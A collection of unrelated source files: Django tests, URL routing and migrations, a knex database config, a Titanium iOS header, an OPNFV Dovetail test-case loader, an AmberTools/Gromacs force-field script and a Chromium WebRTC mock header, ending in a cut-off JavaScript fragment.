self.assertEqual(2, Question.objects.filter(is_spam=True, creator=u).count())
self.assertEqual(0, Answer.objects.filter(is_spam=False, creator=u).count())
self.assertEqual(3, Answer.objects.filter(is_spam=True, creator=u).count())
class GetMobileProductFromUATests(TestCase):
@parameterized.expand(
[
("Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0", "mobile"),
("Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0", "mobile"),
("Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0", "mobile"),
("Mozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0", "mobile"),
(
"Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/7.0.4 Mobile/16B91 Safari/605.1.15", # noqa: E501
"ios",
),
(
"Mozilla/5.0 (Android 10; Mobile; rv:76.0) Gecko/76.0 Firefox/76.0",
"mobile",
),
(
"Mozilla/5.0 (Linux; Android 8.1.0; Redmi 6A Build/O11019; rv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Rocket/1.9.2(13715) Chrome/76.0.3809.132 Mobile Safari/537.36", # noqa: E501
"firefox-lite",
),
( # Chrome on Android:
"Mozilla/5.0 (Linux; Android 8.0.0; Pixel 2 XL Build/OPD1.170816.004) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Mobile Safari/537.36", # noqa: E501
None,
),
]
)
def test_user_agents(self, ua, expected):
self.assertEqual(expected, get_mobile_product_from_ua(ua))
|
/**
* Appcelerator Titanium Mobile
* Copyright (c) 2009-2015 by Appcelerator, Inc. All Rights Reserved.
* Licensed under the terms of the Apache Public License
* Please see the LICENSE included with this distribution for details.
*
* WARNING: This is generated code. Modify at your own risk and without support.
*/
#ifdef USE_TI_UISCROLLABLEVIEW
#import "TiUIView.h"
@interface TiUIScrollableView : TiUIView<UIScrollViewDelegate> {
@private
UIScrollView *scrollview;
UIPageControl *pageControl;
NSInteger currentPage; // Duplicate some info, just in case we're not showing the page control
BOOL showPageControl;
UIColor *pageControlBackgroundColor;
CGFloat pageControlHeight;
CGFloat pagingControlAlpha;
BOOL handlingPageControlEvent;
BOOL scrollingEnabled;
BOOL pagingControlOnTop;
BOOL overlayEnabled;
// Have to correct for an apple goof; rotation stops scrolling, AND doesn't move to the next page.
BOOL rotatedWhileScrolling;
// See the code for why we need this...
NSInteger lastPage;
BOOL enforceCacheRecalculation;
NSInteger cacheSize;
BOOL pageChanged;
}
#pragma mark - StopWatch2 Internal Use Only
-(void)manageRotation;
-(UIScrollView*)scrollview;
-(void)refreshScrollView:(CGRect)visibleBounds readd:(BOOL)readd;
-(void)setCurrentPage:(id)page animated:(NSNumber*)animate;
-(void)addView:(id)viewproxy;
-(void)removeView:(id)args;
@end
#endif
|
from django.conf.urls.defaults import patterns
from django.views.generic import TemplateView
from formsets import AddressFormSet
from views import AddressFormSetView, AddressFormSetViewNamed, ItemModelFormSetView, \
FormAndFormSetOverrideView, PagedModelFormSetView, OrderItemFormSetView, \
OrderCreateView, OrderUpdateView, OrderTagsView, EventCalendarView, OrderCrateNamedView, \
SortableItemListView,SearchableItemListView
urlpatterns = patterns('',
(r'^formset/simple/$', AddressFormSetView.as_view()),
(r'^formset/simple/named/$', AddressFormSetViewNamed.as_view()),
(r'^formset/simple_redirect/$', AddressFormSetView.as_view(success_url="/formset/simple_redirect/valid/")),
(r'^formset/simple_redirect/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
(r'^formset/custom/$', AddressFormSetView.as_view(formset_class=AddressFormSet)),
(r'^modelformset/simple/$', ItemModelFormSetView.as_view()),
(r'^modelformset/custom/$', FormAndFormSetOverrideView.as_view()),
(r'^modelformset/paged/$', PagedModelFormSetView.as_view()),
(r'^inlineformset/(?P<pk>\d+)/$', OrderItemFormSetView.as_view()),
(r'^inlines/new/$', OrderCreateView.as_view()),
(r'^inlines/new/named/$', OrderCrateNamedView.as_view()),
(r'^inlines/(?P<pk>\d+)/$', OrderUpdateView.as_view()),
(r'^genericinlineformset/(?P<pk>\d+)/$', OrderTagsView.as_view()),
(r'^sortable/(?P<flag>\w+)/$', SortableItemListView.as_view()),
(r'^events/(?P<year>\d{4})/(?P<month>\w+)/$', EventCalendarView.as_view()),
(r'^searchable/$', SearchableItemListView.as_view()),
(r'^searchable/predefined_query/$', SearchableItemListView.as_view(define_query=True)),
(r'^searchable/exact_query/$', SearchableItemListView.as_view(exact_query=True)),
(r'^searchable/wrong_lookup/$', SearchableItemListView.as_view(wrong_lookup=True)),
# (r'^multiview/nosuccess/$', OrderAndAddressView.as_view()),
# (r'^multiview/simple/$', SimpleMultiView.as_view(success_url="/multiview/simple/valid/")),
# (r'^multiview/simple/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/forms/$', OrderAndAddressView.as_view(success_url="/multiview/forms/valid/")),
# (r'^multiview/forms/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/error/$', InvalidMultiFormView.as_view(success_url="/multiview/error/valid/")),
# (r'^multiview/error/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/formsets/$', OrderAndItemsView.as_view(success_url="/multiview/formsets/valid/")),
# (r'^multiview/formsets/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/handlers/$', MultiViewHandler.as_view(success_url="/multiview/handlers/valid/")),
# (r'^multiview/handlers/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/initialdata/$', MultiViewInitialData.as_view(success_url="/multiview/initialdata/valid/")),
# (r'^multiview/initialdata/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/initialhandler/$', MultiViewInitialHandlers.as_view(success_url="/multiview/initialhandler/valid/")),
# (r'^multiview/initialhandler/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
# (r'^multiview/formsets/$', MultiViewWithFormSets.as_view(success_url="/multiview/formsets/valid/")),
# (r'^multiview/formsets/valid/$', TemplateView.as_view(template_name='extra_views/success.html')),
)
|
// Update with your config settings.
module.exports = {
development: {
client: 'pg',
// useNullAsDefault: true,
connection: {
// filename: './database/auth.db3',
host: '127.0.0.1',
user: 'postgres',
password: 'x',
database: 'wunderlist',
},
// pool: {
// afterCreate: (conn, done) => {
// conn.run('PRAGMA foreign_keys = ON', done);
// },
// },
migrations: {
directory: './database/migrations',
},
seeds: {
directory: './database/seeds',
},
},
production: {
client: 'pg',
connection: process.env.DATABASE_URL,
migrations: {
directory: './database/migrations',
},
seeds: {
directory: './database/seeds',
},
},
};
|
import numpy as np
SEED = 0
rng = np.random.default_rng(SEED)
|
# Generated by Django 2.2 on 2020-11-03 16:44
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('owner', '0008_auto_20201103_0113'),
]
operations = [
migrations.AlterField(
model_name='employee',
name='branches',
field=models.ManyToManyField(blank=True, to='library.LibraryBranch'),
),
migrations.AlterField(
model_name='owner',
name='branches',
field=models.ManyToManyField(blank=True, to='library.LibraryBranch'),
),
]
|
#!/usr/bin/env python
#
# Copyright (c) 2018 grakiss.wanglei@huawei.com and others.
#
# All rights reserved. This program and the accompanying materials
# are made available under the terms of the Apache License, Version 2.0
# which accompanies this distribution, and is available at
# http://www.apache.org/licenses/LICENSE-2.0
#
import os
import yaml
from dovetail import constants
from parser import Parser
from test_runner import TestRunnerFactory
from utils.dovetail_config import DovetailConfig as dt_cfg
import utils.dovetail_logger as dt_logger
import utils.dovetail_utils as dt_utils
class Testcase(object):
logger = None
def __init__(self, testcase_yaml):
self.testcase = testcase_yaml.values()[0]
self.testcase['passed'] = 'FAIL'
self.cmds = []
self.sub_testcase_status = {}
self.update_validate_testcase(self.validate_testcase())
self.is_mandatory = False
self.results = None
@classmethod
def create_log(cls):
cls.logger = dt_logger.Logger(__name__ + '.Testcase').getLogger()
def parse_cmd(self, cmds_list):
for cmd in cmds_list:
cmd_lines = Parser.parse_cmd(cmd, self)
if not cmd_lines:
return False
self.cmds.append(cmd_lines)
self.logger.debug('cmds: {}'.format(self.cmds))
return True
def prepare_cmd(self, test_type):
try:
testcase_cmds = self.testcase['validate']['cmds']
except KeyError:
testcase_cmds = None
try:
config_cmds = dt_cfg.dovetail_config[test_type]['cmds']
except KeyError:
config_cmds = None
if testcase_cmds:
return self.parse_cmd(testcase_cmds)
if config_cmds:
return self.parse_cmd(config_cmds)
self.logger.error('Test case {} has no cmds.'.format(self.name()))
return False
def __str__(self):
return self.testcase
def name(self):
return self.testcase['name']
def objective(self):
return self.testcase['objective']
def sub_testcase(self):
return dt_utils.get_value_from_dict('report.sub_testcase_list',
self.testcase)
def sub_testcase_passed(self, name, passed=None):
if passed is not None:
self.sub_testcase_status[name] = passed
return self.sub_testcase_status[name]
def validate_type(self):
return self.testcase['validate']['type']
def vnf_type(self):
return self.testcase['vnf_type']
def validate_testcase(self):
return self.testcase['validate']['testcase']
def increase_retry(self):
return self._increase_retry(self.validate_testcase())
def passed(self, passed=None):
if passed is not None:
self.testcase['passed'] = passed
return self.testcase['passed']
def set_results(self, results):
self.results = results
def get_results(self):
return self.results
def pre_condition(self):
try:
pre_condition = self.testcase['validate']['pre_condition']
except KeyError:
pre_condition = ''
if pre_condition:
return pre_condition
pre_condition = self.pre_condition_cls(self.validate_type())
if not pre_condition:
self.logger.debug(
'Test case: {} pre_condition is empty.'.format(self.name()))
return pre_condition
def pre_copy_path(self, key_name):
try:
path = self.testcase['validate']['pre_copy'][key_name]
except KeyError:
return None
return path
def post_condition(self):
try:
post_condition = self.testcase['validate']['post_condition']
except KeyError:
post_condition = ''
if post_condition:
return post_condition
post_condition = self.post_condition_cls(self.validate_type())
if not post_condition:
self.logger.debug(
'Test case: {} post_condition is empty.'.format(self.name()))
return post_condition
def mk_src_file(self):
test_list = os.path.join(dt_cfg.dovetail_config['result_dir'],
'tempest_custom.txt')
if self.sub_testcase() is not None:
try:
with open(test_list, 'w+') as src_file:
for sub_test in self.sub_testcase():
src_file.write(sub_test + '\n')
self.logger.debug('Save test cases to {}'.format(test_list))
return test_list
except Exception:
self.logger.exception('Failed to save: {}'.format(test_list))
return None
def run(self):
runner = TestRunnerFactory.create(self)
try:
runner.run()
runner.archive_logs()
except AttributeError as e:
self.logger.exception(
'Test case: {} Exception: {}'.format(self.name, e))
# testcase in upstream testing project
# validate_testcase_list = {'functest': {}, 'yardstick': {}, 'shell': {}}
validate_testcase_list = {}
# testcase in dovetail
testcase_list = {}
@staticmethod
def pre_condition_cls(validate_type):
try:
return dt_cfg.dovetail_config[validate_type]['pre_condition']
except KeyError:
return None
@staticmethod
def post_condition_cls(validate_type):
try:
return dt_cfg.dovetail_config[validate_type]['post_condition']
except KeyError:
return None
def update_validate_testcase(self, testcase_name):
if testcase_name not in self.validate_testcase_list:
self.validate_testcase_list[testcase_name] = {'retry': 0}
def _increase_retry(cls, validate_testcase):
cls.validate_testcase_list[validate_testcase]['retry'] += 1
return cls.validate_testcase_list[validate_testcase]['retry']
@classmethod
def load(cls):
abs_testcase_path = constants.TESTCASE_PATH
for root, _, files in os.walk(abs_testcase_path):
for testcase_file in files:
with open(os.path.join(root, testcase_file)) as f:
testcase_yaml = yaml.safe_load(f)
case_type = testcase_yaml.values()[0]['validate']['type']
testcase = TestcaseFactory.create(case_type, testcase_yaml)
if testcase is not None:
cls.testcase_list[next(testcase_yaml.iterkeys())] = \
testcase
else:
cls.logger.error('Failed to create test case: {}'
.format(testcase_file))
return cls.testcase_list
@classmethod
def get(cls, testcase_name):
if testcase_name in cls.testcase_list:
return cls.testcase_list[testcase_name]
return None
@staticmethod
def check_testarea(testarea):
area_no_duplicate = []
area_full = ['full']
# testarea is empty, run full testsuite
if not testarea:
return True, area_full
for area in testarea:
if area == 'full':
return True, area_full
area_no_duplicate.append(area)
area_no_duplicate = list(set(area_no_duplicate))
return True, area_no_duplicate
@staticmethod
def check_testcase_area(testcase, testarea):
if not testcase:
return False
if testarea == 'full' or testarea in testcase:
return True
else:
return False
@classmethod
def get_testcases_for_testsuite(cls, testsuite, testarea):
testcase_list = []
selected_tests = []
testcases = dt_utils.get_value_from_dict('testcases_list', testsuite)
mandatory = dt_utils.get_value_from_dict('mandatory', testcases)
optional = dt_utils.get_value_from_dict('optional', testcases)
if not testcases:
return testcase_list
if dt_cfg.dovetail_config['mandatory']:
if not mandatory:
cls.logger.error("There is no mandatory test case in "
"test suite {}".format(testsuite['name']))
else:
selected_tests += mandatory
if dt_cfg.dovetail_config['optional']:
if not optional:
cls.logger.error("There is no optional test case in "
"test suite {}".format(testsuite['name']))
else:
selected_tests += optional
if (not dt_cfg.dovetail_config['mandatory']
and not dt_cfg.dovetail_config['optional']):
if mandatory:
selected_tests += mandatory
if optional:
selected_tests += optional
if not selected_tests:
return None
for value in selected_tests:
for area in testarea:
if cls.check_testcase_area(value, area):
testcase_list.append(value)
if mandatory and value in mandatory:
Testcase.testcase_list[value].is_mandatory = True
else:
Testcase.testcase_list[value].is_mandatory = False
break
return testcase_list
class FunctestTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(FunctestTestcase, self).__init__(testcase_yaml)
self.type = 'functest'
def prepare_cmd(self, test_type):
if not super(FunctestTestcase, self).prepare_cmd(test_type):
return False
# if API validation is disabled, append a command for applying a
# patch inside the functest container
if dt_cfg.dovetail_config['no_api_validation']:
patch_cmd = os.path.join(
dt_cfg.dovetail_config['functest']['patches_dir'],
'functest',
'disable-api-validation',
'apply.sh')
self.cmds = [patch_cmd] + self.cmds
self.logger.debug('Updated list of commands for test run with '
'disabled API response validation: {}'
.format(self.cmds))
return True
class FunctestK8sTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(FunctestK8sTestcase, self).__init__(testcase_yaml)
self.type = 'functest-k8s'
class YardstickTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(YardstickTestcase, self).__init__(testcase_yaml)
self.type = 'yardstick'
class BottlenecksTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(BottlenecksTestcase, self).__init__(testcase_yaml)
self.type = 'bottlenecks'
class ShellTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(ShellTestcase, self).__init__(testcase_yaml)
self.type = 'shell'
class OnapVtpTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(OnapVtpTestcase, self).__init__(testcase_yaml)
self.type = 'onap-vtp'
class OnapVvpTestcase(Testcase):
validate_testcase_list = {}
def __init__(self, testcase_yaml):
super(OnapVvpTestcase, self).__init__(testcase_yaml)
self.type = 'onap-vvp'
class TestcaseFactory(object):
TESTCASE_TYPE_MAP = {
'functest': FunctestTestcase,
'yardstick': YardstickTestcase,
'bottlenecks': BottlenecksTestcase,
'shell': ShellTestcase,
'functest-k8s': FunctestK8sTestcase,
'onap-vtp': OnapVtpTestcase,
'onap-vvp': OnapVvpTestcase
}
@classmethod
def create(cls, testcase_type, testcase_yaml):
try:
return cls.TESTCASE_TYPE_MAP[testcase_type](testcase_yaml)
except KeyError:
return None
class Testsuite(object):
logger = None
def __init__(self, testsuite):
self.testsuite = testsuite
self.testcase_list = {}
@classmethod
def create_log(cls):
cls.logger = dt_logger.Logger(__name__ + '.Testsuite').getLogger()
def get_test(self, testcase_name):
if testcase_name in self.testcase_list:
return self.testcase_list[testcase_name]
return None
testsuite_list = {}
@classmethod
def load(cls):
abs_compliance_path = constants.COMPLIANCE_PATH
for root, dirs, files in os.walk(abs_compliance_path):
for testsuite_yaml in files:
with open(os.path.join(root, testsuite_yaml)) as f:
testsuite_yaml = yaml.safe_load(f)
cls.testsuite_list.update(testsuite_yaml)
return cls.testsuite_list
@classmethod
def get(cls, testsuite_name):
if testsuite_name in cls.testsuite_list:
return cls.testsuite_list[testsuite_name]
return None
@classmethod
def get_all(cls):
return cls.testsuite_list
|
#!/usr/bin/env python3
# encoding: utf-8
"""
ARC - Automatic Rate Calculator
Conformational MD FF Optimization
written by Alon Grinberg Dana
To run this module, the server has to have AmberTools and Gromacs installed.
Refer to the installation guides for more details:
AmberTools19: http://ambermd.org/Manuals.php
Gromacs 2019: http://manual.gromacs.org/documentation/2019/install-guide/index.html
"""
import argparse
import os
import re
import subprocess
import time
import yaml
from acpype import MolTopol
# try:
# import ambertools
# except ImportError:
# subprocess.call('conda install -c ambermd ambertools -y', shell=True)
cwd = os.getcwd()
# Parse the Gaussian output file and create Amber .ac, .mol2, and .esp files
ANTECHAMBER = """#!/bin/bash
antechamber -i {gaussian} -fi gout -o M00.ac -fo ac -rn M00
antechamber -i {gaussian} -fi gout -o M00.mol2 -fo mol2 -rn M00
espgen -i {gaussian} -o M00.esp
"""
# Process with Ambertools (after coords were modified for the specific conformer)
AMBERTOOLS = """#!/bin/bash
respgen -i M00.ac -o M00.respin1 -f resp1
respgen -i M00.ac -o M00.respin2 -f resp2
resp -O -i M00.respin1 -o M00.respout1 -e M00.esp -t qout_stage1
resp -O -i M00.respin2 -o M00.respout2 -e M00.esp -q qout_stage1 -t qout_stage2
antechamber -i M00.mol2 -fi mol2 -o M00_resp.mol2 -fo mol2 -c rc -cf qout_stage2
antechamber -i M00.ac -fi ac -o M00_resp.mol2 -fo mol2 -c rc -cf qout_stage2
parmchk2 -i M00_resp.mol2 -f mol2 -o M00.frcmod
antechamber -i M00_resp.mol2 -fi mol2 -o M00_resp.pdb -fo pdb
tleap -s -f M00.tleap
"""
# Change box size, run the GROMACS pre processor, run GROMACS
# We use here a costom mdp file rather than the md.mdp file generated by Ambertools
GROMACS = """#!/bin/bash
gmx editconf -f M00_GMX.gro -o M00_GMX.gro -c -box {size} {size} {size}
gmx grompp -c M00_GMX.gro -f {mdp} -p M00_GMX.top
gmx mdrun -s topol.tpr
"""
def read_yaml(path):
"""
Read a YAML file.
Args:
(str): The YAML file path.
Returns:
list: The list saved to file.
"""
if not os.path.isfile(path):
raise IOError('The file {0} was not found and cannot be read.'.format(path))
with open(path, 'r') as f:
content = yaml.load(stream=f, Loader=yaml.FullLoader)
return content
def purge(pattern=r'\.\d+#', directory=None):
"""
Delete files that match a pattern.
Args:
pattern (str): The file name patters to search.
directory (str, optional): The directory path to search is (default: current working directory).
"""
if directory is None:
directory = os.getcwd()
for f in os.listdir(directory):
if re.search(pattern, f):
os.remove(os.path.join(directory, f))
def write_mol_files(coord, ac_path=None, mol2_path=None):
"""
Modify an existing .mol2 file for the same molecule with updated coordinates.
Args:
coord (list): The coordinates of a single conformer in array form to be updated in the .mol2 file.
ac_path (str, optional): The path to the .mol2 file to be modified.
mol2_path (str, optional): The path to the .mol2 file to be modified.
"""
ac_path = ac_path if ac_path is not None else 'M00.ac'
mol2_path = mol2_path if mol2_path is not None else 'M00.mol2'
with open(ac_path, 'r') as f:
lines = f.readlines()
content = ''
change_xyz = False
i = 0
for line in lines:
if 'BOND' in line:
# e.g., `BOND 1 1 3 1 O1 C1`
change_xyz = False
if not change_xyz:
content += line
elif line.strip():
# e.g., `ATOM 4 C2 M00 1 -2.759 0.222 -0.777 0.000000 c3`
s0 = ' ' if coord[i][0] >= 0 else ''
s1 = ' ' if coord[i][0] >= 0 else ''
s2 = ' ' if coord[i][0] >= 0 else ''
content += line[:32] + s0 + str(coord[i][0]) + ' ' + s1 + str(coord[i][1]) + ' ' + s2 + str(coord[i][2]) \
+ ' ' + line[56:] + '\n'
i += 1
if 'Formula' in line:
# e.g., `Formula: H18 C13 O2 `
change_xyz = True
with open(ac_path, 'w') as f:
f.write(content)
with open(mol2_path, 'r') as f:
lines = f.readlines()
content = ''
change_xyz = False
i = 0
for line in lines:
if '<TRIPOS>' in line and 'ATOM' not in line:
# e.g., `@<TRIPOS>BOND`
change_xyz = False
if not change_xyz:
content += line
else:
# e.g., ` 4 C2 -2.7590 0.2220 -0.7770 c3 1 M00 0.000000`
splits = line.split()
splits[2] = str(coord[i][0])
splits[3] = str(coord[i][1])
splits[4] = str(coord[i][2])
content += ' ' + ' '.join(splits) + '\n'
i += 1
if '<TRIPOS>' in line and 'ATOM' in line:
# i.e., `@<TRIPOS>ATOM`
change_xyz = True
with open(mol2_path, 'w') as f:
f.write(str(content))
def amber_to_gromacs(g_path, coord=None, size=25, mdp_filename='mdp.mdp', first_iteration=False):
"""
Use Amber Tools to train a force field and prepare all input files for a Gromacs minimization.
Args:
g_path (str): A path to the Gaussian output file.
coord (list, optional): The 3D coordinates for a single conformer (ordered as in the Gaussian output file).
size (float, optional): The box size used in MD simulations.
mdp_filename (str, optional): The MD properties file path to use.
first_iteration (bool, optional): Whether this is the first conformer. True if it is.
Returns:
str: The xyz coordinates of the optimized conformer in string format.
Returns:
float: The energy in kJ/mol of the optimized conformer.
"""
if not first_iteration and not os.path.isfile(os.path.join(cwd, 'M00.mol2')):
first_iteration = True
if first_iteration:
# creates the M00.ac, M00.mol2, and M00.esp files from the Gaussian output
subprocess.call(ANTECHAMBER.format(gaussian=g_path), shell=True)
if coord is not None:
write_mol_files(coord)
subprocess.call(AMBERTOOLS, shell=True)
system = MolTopol(acFileXyz='M00.crd7', acFileTop='M00.parm7', basename='M00', verbose=False)
system.writeGromacsTopolFiles(amb2gmx=True)
subprocess.call(GROMACS.format(size=size, mdp=mdp_filename), shell=True)
opt_xyz, e = '', None
if os.path.isfile('md.log'):
with open('md.log', 'r') as f:
lines = f.readlines()
for line in reversed(lines):
if 'Potential Energy' in line:
e = float(line.split()[-1]) # kJ/mol
break
if os.path.isfile('confout.gro'):
with open('confout.gro', 'r') as f:
lines = f.readlines()
for line in lines:
splits = line.split()
if len(splits) > 4:
# e.g., ` 1M00 C2 4 5.189 5.207 4.806`
symbol = ''.join([char for char in splits[1] if not char.isdigit()])
opt_xyz += symbol + ' ' * (4 - len(symbol))
for c in splits[3:6]:
opt_xyz += '' if '-' in c else ' '
opt_xyz += ' {0}'.format(c)
opt_xyz += '\n'
return opt_xyz, e
def main():
"""
The main function for the Conformational FF optimization.
Note: it is crucial that the attom mapping is conserved between the representation in the Gaussian file
and the YAML coordinates file.
Command line argument:
'-f': The ESS output file (default: gaussian.out).
'-s': The FF box size in Angstroms (default: 10). Thumb-rule: 4 * radius (or 2 * diameter).
'-m': The custom Molecular Dynamics parameter .mdp filename (default: mdp.mdp).
Returns:
list: Entries are lists of coordinates (in array form) and energies (in kJ/mol).
"""
# Parse the command-line arguments (requires the argparse module)
args = parse_command_line_arguments()
t0 = time.time()
path = args.file[0]
size = args.size[0]
mdp_filename = args.mdp[0]
with open('coords.yml', 'r') as f:
coords = yaml.load(stream=f, Loader=yaml.FullLoader)
output = list()
for i, coord in enumerate(coords):
opt_xyz, e = amber_to_gromacs(g_path=path, coord=coord, size=size, mdp_filename=mdp_filename)
output.append([opt_xyz, e])
if i % 10 == 0:
purge()
purge()
# save YAML output
yaml.add_representer(str, string_representer)
content = yaml.dump(data=output, encoding='utf-8')
with open('output.yml', 'w') as f:
f.write(content)
dt = time.time() - t0
print(dt)
def string_representer(dumper, data):
"""Add a custom string representer to use block literals for multiline strings"""
if len(data.splitlines()) > 1:
return dumper.represent_scalar(tag='tag:yaml.org,2002:str', value=data, style='|')
return dumper.represent_scalar(tag='tag:yaml.org,2002:str', value=data)
def parse_command_line_arguments(command_line_args=None):
"""
Parse the command-line arguments.
"""
parser = argparse.ArgumentParser(description='ARC, Conformational FF optimization')
parser.add_argument('-f', '--file', type=str, nargs=1, default=['gaussian.out'],
metavar='ess', help='The ESS output file')
parser.add_argument('-s', '--size', type=int, nargs=1, default=[25],
metavar='size', help='The FF box size in Angstroms')
parser.add_argument('-m', '--mdp', type=str, nargs=1, default=['mdp.mdp'],
metavar='ess', help='The Molecular Dynamics parameter file name')
arguments = parser.parse_args(command_line_args)
return arguments
if __name__ == '__main__':
main()
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_RENDERER_MEDIA_MOCK_MEDIA_STREAM_DEPENDENCY_FACTORY_H_
#define CONTENT_RENDERER_MEDIA_MOCK_MEDIA_STREAM_DEPENDENCY_FACTORY_H_
#include <string>
#include <vector>
#include "base/compiler_specific.h"
#include "content/renderer/media/media_stream_dependency_factory.h"
#include "third_party/libjingle/source/talk/app/webrtc/mediaconstraintsinterface.h"
namespace content {
class MockVideoSource : public webrtc::VideoSourceInterface {
public:
MockVideoSource();
virtual void RegisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual void UnregisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual MediaSourceInterface::SourceState state() const OVERRIDE;
virtual cricket::VideoCapturer* GetVideoCapturer() OVERRIDE;
virtual void AddSink(cricket::VideoRenderer* output) OVERRIDE;
virtual void RemoveSink(cricket::VideoRenderer* output) OVERRIDE;
virtual const cricket::VideoOptions* options() const OVERRIDE;
// Changes the state of the source to live and notifies the observer.
void SetLive();
// Changes the state of the source to ended and notifies the observer.
void SetEnded();
// Set the video capturer.
void SetVideoCapturer(cricket::VideoCapturer* capturer);
protected:
virtual ~MockVideoSource();
private:
void FireOnChanged();
std::vector<webrtc::ObserverInterface*> observers_;
MediaSourceInterface::SourceState state_;
scoped_ptr<cricket::VideoCapturer> capturer_;
};
class MockAudioSource : public webrtc::AudioSourceInterface {
public:
explicit MockAudioSource(
const webrtc::MediaConstraintsInterface* constraints);
virtual void RegisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual void UnregisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual MediaSourceInterface::SourceState state() const OVERRIDE;
// Changes the state of the source to live and notifies the observer.
void SetLive();
// Changes the state of the source to ended and notifies the observer.
void SetEnded();
const webrtc::MediaConstraintsInterface::Constraints& optional_constraints() {
return optional_constraints_;
}
const webrtc::MediaConstraintsInterface::Constraints&
mandatory_constraints() {
return mandatory_constraints_;
}
protected:
virtual ~MockAudioSource();
private:
webrtc::ObserverInterface* observer_;
MediaSourceInterface::SourceState state_;
webrtc::MediaConstraintsInterface::Constraints optional_constraints_;
webrtc::MediaConstraintsInterface::Constraints mandatory_constraints_;
};
class MockLocalVideoTrack : public webrtc::VideoTrackInterface {
public:
MockLocalVideoTrack(std::string id,
webrtc::VideoSourceInterface* source);
virtual void AddRenderer(webrtc::VideoRendererInterface* renderer) OVERRIDE;
virtual void RemoveRenderer(
webrtc::VideoRendererInterface* renderer) OVERRIDE;
virtual cricket::VideoRenderer* FrameInput() OVERRIDE;
virtual std::string kind() const OVERRIDE;
virtual std::string id() const OVERRIDE;
virtual bool enabled() const OVERRIDE;
virtual TrackState state() const OVERRIDE;
virtual bool set_enabled(bool enable) OVERRIDE;
virtual bool set_state(TrackState new_state) OVERRIDE;
virtual void RegisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual void UnregisterObserver(webrtc::ObserverInterface* observer) OVERRIDE;
virtual webrtc::VideoSourceInterface* GetSource() const OVERRIDE;
protected:
virtual ~MockLocalVideoTrack();
private:
bool enabled_;
std::string id_;
TrackState state_;
scoped_refptr<webrtc::VideoSourceInterface> source_;
webrtc::ObserverInterface* observer_;
};
// A mock factory for creating different objects for
// RTC MediaStreams and PeerConnections.
class MockMediaStreamDependencyFactory : public MediaStreamDependencyFactory {
public:
MockMediaStreamDependencyFactory();
virtual ~MockMediaStreamDependencyFactory();
virtual scoped_refptr<webrtc::PeerConnectionInterface> CreatePeerConnection(
const webrtc::PeerConnectionInterface::IceServers& ice_servers,
const webrtc::MediaConstraintsInterface* constraints,
WebKit::WebFrame* frame,
webrtc::PeerConnectionObserver* observer) OVERRIDE;
virtual scoped_refptr<webrtc::AudioSourceInterface>
CreateLocalAudioSource(
const webrtc::MediaConstraintsInterface* constraints) OVERRIDE;
virtual scoped_refptr<webrtc::VideoSourceInterface>
CreateLocalVideoSource(
int video_session_id,
bool is_screencast,
const webrtc::MediaConstraintsInterface* constraints) OVERRIDE;
virtual bool InitializeAudioSource(
int render_view_id, const StreamDeviceInfo& device_info) OVERRIDE;
virtual bool CreateWebAudioSource(
WebKit::WebMediaStreamSource* source) OVERRIDE;
virtual scoped_refptr<webrtc::MediaStreamInterface>
CreateLocalMediaStream(const std::string& label) OVERRIDE;
virtual scoped_refptr<webrtc::VideoTrackInterface>
CreateLocalVideoTrack(const std::string& id,
webrtc::VideoSourceInterface* source) OVERRIDE;
virtual scoped_refptr<webrtc::VideoTrackInterface>
CreateLocalVideoTrack(const std::string& id,
cricket::VideoCapturer* capturer) OVERRIDE;
virtual scoped_refptr<webrtc::AudioTrackInterface>
CreateLocalAudioTrack(const std::string& id,
webrtc::AudioSourceInterface* source) OVERRIDE;
virtual webrtc::SessionDescriptionInterface* CreateSessionDescription(
const std::string& type,
const std::string& sdp,
webrtc::SdpParseError* error) OVERRIDE;
virtual webrtc::IceCandidateInterface* CreateIceCandidate(
const std::string& sdp_mid,
int sdp_mline_index,
const std::string& sdp) OVERRIDE;
virtual bool EnsurePeerConnectionFactory() OVERRIDE;
virtual bool PeerConnectionFactoryCreated() OVERRIDE;
MockAudioSource* last_audio_source() { return last_audio_source_.get(); }
MockVideoSource* last_video_source() { return last_video_source_.get(); }
private:
bool mock_pc_factory_created_;
scoped_refptr <MockAudioSource> last_audio_source_;
scoped_refptr <MockVideoSource> last_video_source_;
DISALLOW_COPY_AND_ASSIGN(MockMediaStreamDependencyFactory);
};
} // namespace content
#endif // CONTENT_RENDERER_MEDIA_MOCK_MEDIA_STREAM_DEPENDENCY_FACTORY_H_
|
var Code = {
Common: {
method: {
clone: function(c, w, h, params) {
